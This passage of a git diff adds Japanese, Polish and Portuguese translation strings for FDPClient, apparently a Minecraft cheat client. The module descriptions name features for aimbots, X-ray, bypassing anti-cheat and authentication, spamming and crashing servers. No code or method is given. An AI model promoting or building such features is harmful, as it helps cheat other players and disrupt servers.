+module.StorageESP.description=チェストやディスペンサーといったブロックを壁越しで見えるようにします + +module.Strafe.name=ストレーフ +module.Strafe.description=空中にいるときに自由に動けるようします + +module.SuperKnockback.name=スーパーノックバック +module.SuperKnockback.description=他のエンティティに対するノックバックを増加させます + +module.Target.name=ターゲット +module.Target.description=ターゲットの設定 + +module.Teams.name=チーム +module.Teams.description=キルオーラがチームを攻撃するのを防ぎます + +module.Teleport.name=瞬間移動 +module.Teleport.description=周りに瞬間移動できるようにさせます + +module.Timer.name=タイマー +module.Timer.description=ゲーム全体の速度を変えます + +module.Modules.name=モジュール +module.Modules.description=全体のモジュールの設定を変えます + +module.Tracers.name=トレーサー +module.Tracers.description=周りにいる敵へ線を表示させます + +module.TrueSight.name=本当の景色 +module.TrueSight.description=透明状態のエンティティとバリアブロックを見えるようにします。 + +module.Velocity.name=ベロシティ +module.Velocity.description=ノックバック量を軽減させます + +module.XRay.name=透視 +module.XRay.description=壁越しで欲しいブロックが見えるようになります + +module.Crosshair.name=クロスヘアー +module.Crosshair.description=よりよいクロスヘアーに変えます + +module.Damage.name=ダメージ +module.Damage.description=自分自身にダメージを与えます + +module.ChinaHat.name=中国帽子 +module.ChinaHat.description=きれいな帽子 + +module.Skeletal.name=スケルタル +module.Skeletal.description=スケルトンっぽいESP + +module.Spider.name=スパイダー +module.Spider.description=スパイダーっぽく動くようになります + +module.NoAchievements.name=実績解除 +module.NoAchievements.description=実績解除の表示を消します + +module.TargetStrafe.name=ターゲットストレーフ +module.TargetStrafe.description=敵の周りをまわります + +module.HitEffect.name=ヒットエフェクト +module.HitEffect.description=敵を攻撃したときにエフェクトを出します + +module.SilentDisconnect.name=静かに再接続 +module.SilentDisconnect.description=再接中の画面を表示させません + +module.Performance.name=パフォーマンス +module.Performance.description=ゲーム処理を速くさせます + +module.Glide.name=グライド +module.Glide.description=サバイバルモードの落下速度を小さくさせます + +module.ServerSwitcher.name=サーバースイッチャー +module.ServerSwitcher.description=メインメニューを経由しないで他のサーバーに接続できるようにします + +module.Wings.name=翼 +module.Wings.description=翼 + +module.AntiExploit.name=搾取無効化 +module.AntiExploit.description=サーバーが空腹にさせるのを防ぎます + +module.CustomDisabler.name=カスタムディセーブラー +module.CustomDisabler.description=カスタマイズ可能なディセーブラー + +module.NoInvClose.name=ノーインブクローズ +module.NoInvClose.description=サバーがインベントリーを閉じさせるのを防ぎます + +module.ComboOneHit.name=コンボワンヒット +module.ComboOneHit.description=ワンクリックで自動的にヒットを処理します。攻撃遅延が存在しない場合にのみ機能します + +module.FastBow.name=高速弓 +module.FastBow.description=弓がマシンガンにります + +module.AutoFriend.name=オートフレンド +module.AutoFriend.description=どのサーバーからでもスタッフを自動的に追加させます + +module.Spoofer.name=スプーファー +module.Spoofer.description=一般的なマインクラフトになりすまします + +module.FDPScriptManager.name=FDPスクリプロマネージャー +module.FDPScriptManager.description=スクリプトを読み込みます + +module.NoRender.name=ノーレンダー +module.NoRender.description=一部エンティティのレンダー処理を行わないことでFPSを増加させます + +module.Particles.name=パーティクル +module.Particles.description=攻撃時にパーティクルを発生させます + +module.FollowTargetHud.name=フォローターゲットHUD +module.FollowTargetHud.description=敵に張り付くターゲットHUD + +module.ItemMagnet.name=アイテム掃除機 +module.ItemMagnet.description=遠いところにあるアイテムを吸い取ります + +module.KillESP.name=KillESP +module.KillESP.description=KillESP + +module.ItemPhysics.name=アイテムフィジックス +module.ItemPhysics.description=物理的にアイテムが落ちます + +module.Fisher.name=フィッシャー +module.Fisher.description=自動で釣りを行います + +module.SpeedMine.name=スピードマイン +module.SpeedMine.description=速く掘ります + +module.PackSpoofer.name=パックスプーファー +module.PackSpoofer.description=サーバーが無理やりリソースパックをダウンロードさせてくるのを防ぎます + +module.Nuker.name=ニューカー +module.Nuker.description=周りにあるブロックを破壊します + +module.GlowESP.name=発光ESP +module.GlowESP.description=エンティティが光ります + +module.SuperheroFX.name=スーパーヒーローFX +module.SuperheroFX.description=飛行エフェクトとして漫画のような文字を表示させます + +module.ESP2D.name=ESP2D +module.ESP2D.description=二次元のESP + +module.Radar.name=レーダー +module.Radar.description=レーダー + +module.BowJump.name=ボウジャンプ +module.BowJump.description=弓を使って遠くへジャンプします + +module.MultiActions.name=マルチアクション +module.MultiActions.description=ブロック破壊中に他のアイテムを使用できるようにさせます + +module.ResetVL.name=リセットVL +module.ResetVL.description=サーバーにたまったフラグを取り除きます + +module.Heal.name=ヒール +module.Heal.description=自動でガップルを食べます + +module.HudShadows.name=Hud影 +module.HudShadows.description=影及び光の設定を変えてみよう + + + diff --git a/src/main/resources/assets/minecraft/fdpclient/translations/pl-PL/source.properties b/src/main/resources/assets/minecraft/fdpclient/translations/pl-PL/source.properties new file mode 100644 index 0000000..6a3bfea --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/translations/pl-PL/source.properties @@ -0,0 +1,579 @@ +# Translated by Liuli +ui.altmanager=MenedżerAltów +ui.mods=Mody +ui.background=Tło +ui.serverSpoof=SerwerSpoof +ui.antiForge=AntiForge +ui.reconnect=Reconnect +ui.changelog=Zmiany + +ui.back=Cofnij +ui.status=Status +ui.on=Włącz +ui.off=Wyłącz + +ui.serverSpoof.address=Adres Serwera + +ui.proxy.screen=Menedżer Proxy +ui.proxy.address=Address +ui.proxy.type=Rodzaj Proxy + +ui.background.gtype=Rodzaj +ui.background.gcurrent=Aktualne +ui.background.ganimated=Animowane +ui.background.particles=Particles +ui.background.change=Zmień tapetę +ui.background.reset=Zresetuj tapetę + +ui.chest.stealing=Kradzież Skrzyni +ui.chest.disable=Wyłącz %s + +ui.gameover.close=Ukryj ten ekran + +ui.disconnect.randomAlt=Randomowy Alt +ui.disconnect.randomOffline=Randomowy Offline + +ui.update.released=FDPClient %s jest dostępny! +ui.update.dismiss=Odrzuć +ui.update.download=Pobierz + +ui.keybind.title=Menedżer KeyBindów +ui.keybind.select=Wybierz moduł do powiązania +ui.keybind.addMacro=Naciśnij ENTER, aby dodać makro. +ui.keybind.add=+ Dodaj +ui.keybind.key=%s Klawisz +ui.keybind.search=Wyszukaj... + +ui.alt.idle=Czekaj... +ui.alt.nameChanged=§cTwój nick teraz to §8 %s §c. +ui.alt.error=Wystąpił błąd: %s +ui.alt.login=Zaloguj +ui.alt.add=Dodaj +ui.alt.remove=Usuń +ui.alt.import=Przywróć +ui.alt.directLogin=Bezpośrednie logowanie +ui.alt.msLogin=Logowanie Microsoft +ui.alt.copy=Kopiuj +ui.alt.alts=%d Altów +ui.alt.username=§7Użytkownik: §a %s +ui.alt.type=§7Typ: §a %s +ui.alt.type.premium=Premium +ui.alt.type.cracked=Pirackie +ui.alt.removed=Konto zostało usunięte. +ui.alt.needSelect=Wybierz konto. +ui.alt.copied=Skopiowano konto do schowka. +ui.alt.imported=Konta zostały pomyślnie zaimportowane. +ui.alt.emptyList=Lista jest pusta. +ui.alt.loggingIn=Logowanie... +ui.alt.clipBoardLogin=Logowanie z schowka +ui.alt.fillBoth=Musisz wypełnić oba pola! +ui.alt.readFailed=Importowanie z schowka nie powiodło się! +ui.alt.invalidClipData=Nieprawidłowe dane schowka. (Użyj: E-Mail:Hasło) +ui.alt.loginUsername=Nazwa użytkownika / E-Mail +ui.alt.loginPassword=Hasło +ui.alt.alreadyAdded=Konto zostało już dodane. +ui.alt.notWorking=Konto nie działa. +ui.alt.checking=Sprawdzanie... +ui.alt.randomAltField=Ustawienia Randomowego Alta + +ui.scaffold.blocks=Blocki > %d + +notify.module.title=Moduł +notify.module.enable=Włączony %s +notify.module.disable=Wyłączony %s + +module.category.combat=Walka +module.category.player=Gracz +module.category.movement=Ruch +module.category.visual=Visual +module.category.client=Klient +module.category.world=Świat +module.category.other=Inne +module.category.exploit=Exploity + +module.Aimbot.name=Aimbot +module.Aimbot.description=Automatycznie namierza podmioty wokół ciebie. + +module.AirLadder.name=AirLadder +module.AirLadder.description=Umożliwia wspinanie się po drabinach/pnączach bez ich dotykania. + +module.Ambience.name=Klimat +module.Ambience.description=Umożliwia zmianę klimatu. + +module.Animations.name=Animacje +module.Animations.description=Renderuj miecz podczas blokowania i animacji ekwipunku. + +module.AntiAim.name=AntyAim +module.AntiAim.description=AntyAim jak w cheatach w CSGO. + +module.AntiBlind.name=AntyBlind +module.AntiBlind.description=Anuluje efekt ślepoty. + +module.AntiBot.name=AntyBot +module.AntiBot.description=Uniemożliwia KillAurze atakowanie botów AntiCheat. + +module.AntiDesync.name=AntyDesync +module.AntiDesync.description=Synchronizacja każdego ruchu. + +module.AntiFireBall.name=AntyFireball +module.AntiFireBall.description=Uderza kule ognia, dzięki czemu nie otrzymujesz obrażeń. + +module.AntiStuck.name=AntyStuck +module.AntiStuck.description=Zatrzymaj się automatycznie po odbiciu. + +module.AntiStaff.name=AntyStaff +module.AntiStaff.description=Wykryj admina online, który jest w Twoim lobby. + +module.AntiVanish.name=AntyVanish +module.AntiVanish.description=Pokazuje, kto jest na vanishu. + +module.AntiVoid.name=AntyVoid +module.AntiVoid.description=Podciąga cię do góry, gdy wpadasz w pustkę. + +module.AuthBypass.name=AuthBypass +module.AuthBypass.description=Omija sprawdzanie uwierzytelniania. + +module.KillInsults.name=KillInsults +module.KillInsults.description=Automatycznie obraża gracza, którego zabiłeś. + +module.AutoAdvertise.name=AutoReklama +module.AutoAdvertise.description=Trzymaj to włączone, potrzebujemy twojego wsparcia <3 (reklama klienta). + +module.AutoArmor.name=AutoArmor +module.AutoArmor.description=Automatycznie wyposaża najlepszą zbroję w twoim ekwipunku. + +module.AutoBow.name=AutoŁuk +module.AutoBow.description=Automatycznie wystrzeliwuje strzałę, gdy twój łuk jest w pełni naładowany. + +module.AutoClicker.name=AutoClicker +module.AutoClicker.description=Ciągle klika, gdy przytrzymujesz przycisk myszy. + +module.AutoDisable.name=AutoWyłącz +module.AutoDisable.description=Automatycznie wyłącza moduły. + +module.AutoIgnore.name=AutoIgnoruj +module.AutoIgnore.description=Automatycznie ignoruj spamerów (tylko redesky). + +module.AutoLogin.name=AutoLogowanie +module.AutoLogin.description=Automatycznie loguj się na pirackie serwery. + +module.AutoPlay.name=AutoGra +module.AutoPlay.description=Automatycznie dołącza do nowej gry po zakończeniu tej, w którą grasz + +module.AutoPot.name=AutoMikstury +module.AutoPot.description=Automatycznie rzucaj miksturami. + +module.AutoReport.name=AutoReport +module.AutoReport.description=Automatycznie zgłasza graczy. + +module.AutoSoup.name=AutoZupa +module.AutoSoup.description=Automatycznie jesz zupę, gdy twoje zdrowie jest niskie. + +module.AutoTool.name=AutoNarzędzie +module.AutoTool.description=Automatycznie wybiera najlepsze narzędzie w ekwipunku do wydobycia bloku. + +module.AutoWeapon.name=AutoBroń +module.AutoWeapon.description=Automatycznie wybiera najlepszą broń na pasku skrótów. + +module.BanChecker.name=BanChecker + +module.BetterFPS.name=LepszeFPS +module.BetterFPS.description=Matematyka w grze jest obliczana szybciej. + +module.Blink.name=Migawka +module.Blink.description=Wstrzymuje wszystkie pakiety ruchu. + +module.BlockESP.name=BlokiESP +module.BlockESP.description=Pozwala zobaczyć wybrany blok przez ściany. + +module.BlockOverlay.name=NakładkaBloku +module.BlockOverlay.description=Umożliwia zmianę nakładki bloku. + +module.BoatJump.name=SkokŁodzią +module.BoatJump.description=Umożliwia dłuższe skakanie łodzią. + +module.BowAimbot.name=ŁukAimbot +module.BowAimbot.description=Automatycznie celuje w graczy podczas używania łuku. + +module.Breadcrumbs.name=Ślady +module.Breadcrumbs.description=Pozostawia za sobą ślad. + +module.CameraClip.name=KlipKamery +module.CameraClip.description=Pozwala widzieć przez ściany w widoku trzeciej osoby. + +module.CapeManager.name=MenedżerPeleryny +module.CapeManager.description=Zarządzaj swoją peleryną. + +module.Chams.name=Chams +module.Chams.description=Pozwala zobaczyć cele przez bloki + +module.ChatBypass.name=ChatBypass +module.ChatBypass.description=Omija limit czatu. + +module.ChatTranslator.name=TłumaczChatu +module.ChatTranslator.description=Tłumacz słowa na czacie + +module.ChestAura.name=ChestAura +module.ChestAura.description=Automatycznie otwiera skrzynie wokół ciebie. + +module.ChestStealer.name=ChestStealer +module.ChestStealer.description=Automatycznie kradnie wszystkie przedmioty ze skrzyni. + +module.ClickGUI.name=ClickGUI +module.ClickGUI.description=Otwiera ClickGUI. + +module.Clip.name=Clip +module.Clip.description=Pozwala na teleport przez bloki. + +module.Criticals.name=Kryty +module.Criticals.description=Automatycznie zadaje trafienia krytyczne. + +module.DamageParticle.name=DmgParticle +module.DamageParticle.description=Pozwala zobaczyć obrażenia zadawane przez cele. + +module.DiscordRPC.name=DiscordRPC +module.DiscordRPC.description=Pokaż RPC dla Discorda. + +module.Disabler.name=Wyłącznik +module.Disabler.description=Wyłącz Antycheaty. + +module.ESP.name=ESP +module.ESP.description=Pozwala widzieć cele przez ściany. + +module.Eagle.name=Orzeł +module.Eagle.description=Sprawia, że jesteś orłem (aka. FastBridge) + +module.Glint.name=Glint +module.Glint.description=Dostosuj kolor enchantów. + +module.FakeDead.name=FakeDead + +module.FastBreak.name=FastBreak +module.FastBreak.description=Pozwala szybciej niszczyć bloki. + +module.FastPlace.name=FastPlace +module.FastPlace.description=Pozwala szybciej umieszczać bloki. + +module.FastUse.name=FastUse +module.FastUse.description=Pozwala szybciej używać przedmioty. + +module.Fly.name=Fly +module.Fly.description=Pozwala latać w trybie przetrwania. + +module.FreeCam.name=FreeCam +module.FreeCam.description=Pozwala wyjść poza ciało. + +module.Freeze.name=Zatrzymanie +module.Freeze.description=Pozwala zatrzymać się w powietrzu. + +module.Fucker.name=Fucker +module.Fucker.description=Niszczy wybrane bloki wokół ciebie. + +module.Gapple.name=Refy +module.Gapple.description=Automatycznie zjada refy(złote jabłka). + +module.GhostHand.name=GhostHand +module.GhostHand.description=Umożliwia ingerencję z wybranymi blokami przez ściany. + +module.HUD.name=HUD +module.HUD.description=Przełącza widoczność HUD. + +module.HackerDetector.name=WykrywaczSigma +module.HackerDetector.description=Wykryj hakerów SIGMA + +module.HealthWarn.name=MonitoringŻycia +module.HealthWarn.description=Wyświetla ostrzeżenie, gdy masz niski stan zdrowia. + +module.HighJump.name=WysokieSkoki +module.HighJump.description=Pozwala skakać wyżej. + +module.HitBox.name=HitBox +module.HitBox.description=Zwiększa hitboxy celów. + +module.HudDesigner.name=HudDesigner +module.HudDesigner.description=Otwiera HudDesigner. + +module.HurtCam.name=HurtCam +module.HurtCam.description=Zmienia kamere efektów obrażeń. + +module.InfiniteAura.name=InfiniteAura +module.InfiniteAura.description=Uderza wrogów z daleka. + +module.InventoryCleaner.name=CzyszczenieEq +module.InventoryCleaner.description=Automatycznie wyrzuca bezużyteczne przedmioty i sortuje ekwipunek. + +module.InventoryMove.name=InventoryMove +module.InventoryMove.description=Pozwala chodzić, gdy ekwipunek jest otwarty. + +module.ItemESP.name=ItemESP +module.ItemESP.description=Pozwala widzieć przedmioty przez ściany. + +module.KeyBindManager.name=MenedżerKeyBindów +module.KeyBindManager.description=Otwiera menedżer KeyBindów. + +module.Kick.name=Kick +module.Kick.description=Pozwala wyrzucić się z serwera. + +module.KillAura.name=KillAura +module.KillAura.description=Automatycznie atakuje cele wokół ciebie. + +module.LegitSpoof.name=LegitSpoof +module.LegitSpoof.description=Fałszuje niektóre rzeczy, przez które wydajesz się, że grasz legalnie. + +module.LightningDetect.name=DetektorBłysku +module.LightningDetect.description=Sprawdza, gdzie pojawia się błyskawica. + +module.Jesus.name=Jezus +module.Jesus.description=Pozwala chodzić po wodzie. + +module.LongJump.name=DalekieSkoki +module.LongJump.description=Pozwala skakać dalej. + +module.MessageSpam.name=SpamWiadości +module.MessageSpam.description=Spamuje wiadomościami. (tylko redesky) + +module.MurderDetector.name=DetektorZabójcy +module.MurderDetector.description=Detektor zabójcy. + +module.MidClick.name=MidClick +module.MidClick.description=Pozwala dodać gracza jako przyjaciela, klikając go prawym przyciskiem myszy. + +module.KeyPearl.name=KlawiszPerły +module.KeyPearl.description=Pozwala na rzucanie perły Endu z paska skrótów poprzez naciśnięcie klawisza. (Użyj .bind dla tego modułu) + +module.NameProtect.name=OchronaNicku +module.NameProtect.description=Zmienia nazwy graczy po stronie klienta. + +module.NameTags.name=NameTagi +module.NameTags.description=Zmienia skalę nametagów, dzięki czemu zawsze możesz je przeczytać. + +module.NoBob.name=NoBob +module.NoBob.description=Wyłącza efekt kołysania widoku. + +module.NoFOV.name=BlokadaPolaWidzenia +module.NoFOV.description=Wyłącza zmiany pola widzenia spowodowane efektem prędkości itp. + +module.NoFall.name=NoFall +module.NoFall.description=Zapobiega otrzymywaniu obrażeń od upadku. + +module.NoJumpDelay.name=BrakOpóźnieniaSkoku +module.NoJumpDelay.description=Usuwa opóźnienie między skokami. + +module.NoRotateSet.name=BrakRotacji +module.NoRotateSet.description=Zapobiega rotacji głowy przez serwer. + +module.NoSlow.name=BrakSpowolnienia +module.NoSlow.description=Anuluje efekty spowolnienia spowodowane przez piasek dusz i używanie przedmiotów. + +module.NoSlowBreak.name=BrakWolnegoNiszczenia +module.NoSlowBreak.description=Automatycznie dostosowuje prędkość niszczenia podczas korzystania z modułów, które na to wpływają. + +module.NoWeb.name=BrakPajęczyny +module.NoWeb.description=Zapobiega spowolnieniu w pajęczynach. + +module.Parkour.name=Parkur +module.Parkour.description=Automatycznie przeskakuje po osiągnięciu krawędzi bloku. + +module.Phase.name=Phase +module.Phase.description=Pozwala przejść przez bloki. + +module.PingSpoof.name=PingSpoof +module.PingSpoof.description=Fałszuje twój ping do określonej wartości. + +module.Plugins.name=Pluginy +module.Plugins.description=Pozwala zobaczyć, jakich wtyczek używa serwer. + +module.PointerESP.name=WskaźnikiESP +module.PointerESP.description=Pokaż wskaźniki wokół swojego przejścia. + +module.PrevFallPos.name=PozycjaSpadania +module.PrevFallPos.description=Podgląd swojej pozycji opadającej. + +module.Projectiles.name=PozycjaStrzału +module.Projectiles.description=Pozwala zobaczyć, gdzie wylądują strzały. + +module.Reach.name=Zasięg. +module.Reach.description=Zwiększa zasięg. + +module.Regen.name=Regeneracja +module.Regen.description=Regeneruje zdrowie znacznie szybciej. + +module.Rotations.name=Rotacje +module.Rotations.description=Ustawienia rotacji. + +module.SafeWalk.name=BezpiecznyChód +module.SafeWalk.description=Zapobiega upadkowi, jakbyś kucał. + +module.Scaffold.name=Rusztowanie +module.Scaffold.description=Automatycznie umieszcza bloki pod tobą. + +module.ServerCrasher.name=SerwerCrasher +module.ServerCrasher.description=Pozwala na crash określonego serwera. + +module.Spammer.name=Spammer +module.Spammer.description=Spamuje czat z podaną wiadomością. + +module.Speed.name=Szybcioch +module.Speed.description=Pozwala poruszać się szybciej. + +module.Sprint.name=Bieganie +module.Sprint.description=Automatycznie biega cały czas. + +module.Step.name=Stopień +module.Step.description=Automatycznie skacze na bloki wyżej. + +module.StorageESP.name=MagazynESP +module.StorageESP.description=Pozwala zobaczyć skrzynie, dozowniki itp. przez ściany. + +module.Strafe.name=Strafe +module.Strafe.description=Pozwala na swobodne poruszanie się w powietrzu. + +module.SuperKnockback.name=SuperKnockback +module.SuperKnockback.description=Zwiększa odrzut zadawany innym podmiotom. + +module.Target.name=Cel +module.Target.description=Ustawienia celu. + +module.Teams.name=Drużyny +module.Teams.description=Uniemożliwia Killaurze atakowanie kolegów z drużyny. + +module.Teleport.name=Teleport +module.Teleport.description=Pozwala na teleportację. + +module.Timer.name=Timer +module.Timer.description=Zmienia szybkość całej gry. + +module.Modules.name=Moduły +module.Modules.description=Zmień globalne ustawienia modułu. + +module.Tracers.name=LinieCelu +module.Tracers.description=Rysuje linię do celów wokół ciebie. + +module.TrueSight.name=TrueSight +module.TrueSight.description=Pozwala zobaczyć niewidzialne podmioty i bariery. + +module.Velocity.name=Velocity +module.Velocity.description=Pozwala modyfikować otrzymany knockback. + +module.XRay.name=X-Ray +module.XRay.description=Pozwala zobaczyć wybrane bloki przez ściany. + +module.Crosshair.name=Celownik +module.Crosshair.description=Zmień lepszy celownik. + +module.Damage.name=SamoObrażenia +module.Damage.description=Pozwala ci się zranić. + +module.ChinaHat.name=ChinaHat +module.ChinaHat.description=Piękny kapelusz. + +module.Skeletal.name=SzkieletESP +module.Skeletal.description=ESP jak szkielety. + +module.Spider.name=Pająk +module.Spider.description=Sprawia, że poruszasz się jak pająk. + +module.NoAchievements.name=BrakOsiągnięć +module.NoAchievements.description=Wyłącz alert, gdy zdobędziesz osiągnięcie. + +module.TargetStrafe.name=TargetStrafe +module.TargetStrafe.description=Poruszasz się wokół celu. + +module.HitEffect.name=EfektUderzenia +module.HitEffect.description=Wyświetlaj efekt po uderzeniu gracza. + +module.SilentDisconnect.name=CicheRozłączanie +module.SilentDisconnect.description=Nie wyświetlaj GuiDisconnect po rozłączeniu z serwerem. + +module.Performance.name=Wydajność +module.Performance.description=Spraw, aby gra była szybsza. + +module.Glide.name=Glide +module.Glide.description=Sprawia, że spadasz wolniej w trybie przetrwania. + +module.ServerSwitcher.name=ZmieniaczSerwerów +module.ServerSwitcher.description=Przełączaj serwery bez konieczności wchodzenia do menu głównego. + +module.Wings.name=Skrzydła +module.Wings.description=Skrzydła + +module.AntiExploit.name=AntyExploit +module.AntiExploit.description=Zapobiegaj robieniu przez serwery pewnych szkodliwych rzeczy. + +module.CustomDisabler.name=CustomWyłącznik +module.CustomDisabler.description=Wyłącznik, ale w pełni konfigurowalny. + +module.NoInvClose.name=EqZawszeOtwarte +module.NoInvClose.description=Fałszuje serwer tak aby myślił, że nie zamykasz ekwipunku. + +module.ComboOneHit.name=ComboOneHit +module.ComboOneHit.description=Automatycznie zadaje trafienia jednym kliknięciem. Działa tylko w przypadku braku opóźnienia ataku. + +module.FastBow.name=SzybkiŁuk +module.FastBow.description=Zamienia łuk w karabin maszynowy + +module.AutoFriend.name=AutoFriend +module.AutoFriend.description=Automatycznie dodawaj przyjaciela + +module.Spoofer.name=Spoofer +module.Spoofer.description=Spoofer do symulacji prawdziwych klientów Minecrafta + +module.FDPScriptManager.name=MenedżerSkryptówFDP +module.FDPScriptManager.description=Ładowanie skryptów + +module.NoRender.name=NoRender +module.NoRender.description=Zwiększ FPS poprzez zmniejszenie lub zatrzymanie renderowania widocznych jednostek. + +module.Particles.name=Particles +module.Particles.description=Wysyłaj cząsteczki po trafieniu. + +module.FollowTargetHud.name=FollowTargetHud +module.FollowTargetHud.description=Podążaj za celem Hud. + +module.ItemMagnet.name=MagnezItemów +module.ItemMagnet.description=Pozwala na zbieranie przedmiotów z daleka poprzez teleportację. + +module.KillESP.name=KillESP +module.KillESP.description=KillESP. + +module.ItemPhysics.name=ItemPhysics +module.ItemPhysics.description=Uderzenia Newtona. + +module.Fisher.name=Wędkarz +module.Fisher.description=Automatyczne łowienie. + +module.SpeedMine.name=SpeedMine +module.SpeedMine.description=Szybkie kopanie. + +module.PackSpoofer.name=PackSpoofer +module.PackSpoofer.description=Zapobiega zmuszaniu serwerów do pobrania pakietu zasobów. (resourcepack) + +module.Nuker.name=Nuker +module.Nuker.description=Niszczy wszystkie bloki wokół ciebie. + +module.GlowESP.name=GlowESP +module.GlowESP.description=Blask w podmiotach. + +module.SuperheroFX.name=SuperheroFX +module.SuperheroFX.description=Tworzy komiksowe słowa jako latające cząsteczki. + +module.ESP2D.name=ESP2D +module.ESP2D.description=ESP 2D + +module.Radar.name=Radar +module.Radar.description=Szukanie podmiotu. + +module.BowJump.name=BowJump +module.BowJump.description=Pozwala skakać dalej dzięki automatycznemu strzelaniu z łuku. + +module.MultiActions.name=MultiActions +module.MultiActions.description=Pozwala na używanie przedmiotów podczas niszczenia bloków. + +module.ResetVL.name=ResetVL +module.ResetVL.description=Odflagowuje Cię na serwerach + +module.Heal.name=Heal +module.Heal.description=Automatycznie zjada refy(złote jabłka) + +module.HudShadows.name=HudShadows +module.HudShadows.description=Pozwala zmienić ustawienia dotyczące cienia/poświaty. (shadow/glow) diff --git a/src/main/resources/assets/minecraft/fdpclient/translations/pt-BR/source.properties b/src/main/resources/assets/minecraft/fdpclient/translations/pt-BR/source.properties new file mode 100644 index 0000000..29b8cc9 --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/translations/pt-BR/source.properties @@ -0,0 +1,472 @@ +# Translated by Liuli & Zywl + +ui.altmanager=AltManager +ui.mods=Mods +ui.background=Background +ui.serverSpoof=ServerSpoof +ui.antiForge=AntiForge +ui.reconnect=Reconnect +ui.changelog=ChangeLog + +ui.back=Back +ui.status=Status +ui.on=On +ui.off=Off + +ui.serverSpoof.address=Server Address + +ui.proxy.screen=Proxy Manager +ui.proxy.address=Address +ui.proxy.type=Proxy Type + +ui.background.gtype=Type +ui.background.gcurrent=Current +ui.background.ganimated=Animated +ui.background.particles=Particles +ui.background.change=Change wallpaper +ui.background.reset=Reset wallpaper + +ui.chest.stealing=Stealing Chest +ui.chest.disable=Disable %s + +ui.gameover.close=Hide This Screen + +ui.disconnect.randomAlt=Random Alt +ui.disconnect.randomOffline=Random Offline + +ui.update.released=FDPClient %s is available\! +ui.update.dismiss=Dismiss +ui.update.download=Download + +ui.keybind.title=KeyBind Manager +ui.keybind.select=Selecione um módulo para vincular +ui.keybind.addMacro=Pressione ENTER para adicionar macro. +ui.keybind.add=+ Adicionar +ui.keybind.key=Chave %s +ui.keybind.search=Pesquisar ... + +ui.alt.idle=Inativo ... +ui.alt.nameChanged=§cSeu nome agora é §8 %s §c. +ui.alt.error=Ocorreu um erro\: %s +ui.alt.login=Conectar-se +ui.alt.add=Adicionar +ui.alt.remove=Remover +ui.alt.import=Importar +ui.alt.directLogin=Login direto +ui.alt.msLogin=Microsoft Login +ui.alt.copy=Copiar +ui.alt.alts=%d Altos +ui.alt.username=§7Usuário\: §a %s +ui.alt.type=§7Tipo\: §a %s +ui.alt.type.premium=premium +ui.alt.type.cracked=cracked +ui.alt.removed=removed +ui.alt.needSelect=Selecione uma conta +ui.alt.copied=Conta copiada para sua área de transferência. +ui.alt.imported=As contas foram importadas com sucesso. +ui.alt.emptyList=A lista está vazia +ui.alt.loggingIn=Fazendo login ... +ui.alt.clipBoardLogin=Login da área de transferência +ui.alt.fillBoth=Você deve preencher os dois campos\! +ui.alt.readFailed=Tipo de área de transferência não suportado\! +ui.alt.invalidClipData=Dados inválidos da área de transferência. (Use\: E-mail\: Senha) +ui.alt.loginUsername=Nome de usuário / E-Mail +ui.alt.loginPassword=Senha +ui.alt.alreadyAdded=A conta já foi adicionada. +ui.alt.notWorking=A conta não funciona. +ui.alt.checking=Verificando ... +ui.alt.randomAltField=Regra de alts aleatórios + +ui.scaffold.blocks=Blocos > %d + +notify.module.title=Módulo +notify.module.enable=Ativado %s +notify.module.disable=Desativado %s + +module.category.combat=Combat +module.category.player=Player +module.category.movement=Movement +module.category.visual=Visual +module.category.client=Cliente +module.category.world=World +module.category.other=Other +module.category.exploit=Exploit + +module.Aimbot.name=Aimbot +module.Aimbot.description=Auxiliam a mirar com maior precisão + +module.Ambience.name=Ambience +module.Ambience.description=Mudar o tempo do ambiente + +module.Animations.name=Animations +module.Animations.description=Permite alterar as animações da espada enquanto bloqueia e animação de inventário + +module.AntiAim.name=AntiAim +module.AntiAim.description=Igual os cheats de CS\:GO + +module.AntiBlind.name=AntiBlind +module.AntiBlind.description=Cancela efeitos + +module.AntiBot.name=AntiBot +module.AntiBot.description=Impede atacar bots do AntiCheat + +module.AntiFireBall.name=AntiFireBall +module.AntiFireBall.description=Acerte a bola de fogo automaticamente para deixá-la voltar + +module.AntiStuck.name=AntiStuck +module.AntiStuck.description=Destrava você quando você está preso + +module.AntiVanish.name=AntiVanish +module.AntiVanish.description=Anti player desaparecer + +module.AntiVoid.name=AntiVoid +module.AntiVoid.description=Evitando que você caia no vazio + +module.AuthBypass.name=AuthBypass +module.AuthBypass.description=Ignorar a autenticação do bot quando entrar no servidor + +module.KillInsults.name=KillInsults +module.KillInsults.description=Insultar automaticamente as pessoas que você matou + +module.AutoAdvertise.name=AutoAdvertise +module.AutoAdvertise.description=Continue assim, precisamos do seu apoio + +module.AutoArmor.name=AutoArmor +module.AutoArmor.description=Equipa automaticamente a melhor armadura em seu inventário + +module.AutoBow.name=AutoBow +module.AutoBow.description=Atira uma flecha automaticamente sempre que seu arco estiver totalmente carregado + +module.AutoClicker.name=AutoClicker +module.AutoClicker.description=Clica constantemente ao segurar um botão do mouse + +module.AutoDisable.name=AutoDisable +module.AutoDisable.description=Desativa módulos automaticamente + +module.AutoIgnore.name=AutoIgnore +module.AutoIgnore.description=Ignorar spammers automaticamente (apenas redesenhado) + +module.AutoLogin.name=AutoLogin +module.AutoLogin.description=Automático faz com que você faça o login no servidor + +module.AutoPlay.name=AutoPlay +module.AutoPlay.description=Entrar automaticamente em outro jogo quando o jogo terminar + +module.AutoPot.name=AutoPot +module.AutoPot.description=Jogue poções automaticamente + +module.AutoReport.name=AutoReport +module.AutoReport.description=Auto reportar jogadores + +module.AutoSoup.name=AutoSoup +module.AutoSoup.description=Faz você tomar sopa automaticamente sempre que sua saúde estiver fraca + +module.AutoTool.name=AutoTool +module.AutoTool.description=Seleciona automaticamente a melhor ferramenta em seu inventário para minerar um bloco + +module.AutoWeapon.name=AutoWeapon +module.AutoWeapon.description=Seleciona automaticamente a melhor arma em sua hotbar + +module.BanChecker.name=BanChecker + +module.BetterFPS.name=BetterFPS +module.BetterFPS.description=Faça cálculos matemáticos mais rápidos + +module.Blink.name=Blink +module.Blink.description=Suspende todos os pacotes de movimento + +module.BlockESP.name=BlockESP +module.BlockESP.description=Permite que você veja um bloco selecionado através das paredes + +module.BlockOverlay.name=BlockOverlay +module.BlockOverlay.description=Permite que você altere o design da sobreposição de bloco + +module.BoatJump.name=BoatJump +module.BoatJump.description=Permite que você salte mais tempo com um barco + +module.BowAimbot.name=BowAimbot +module.BowAimbot.description=Mira 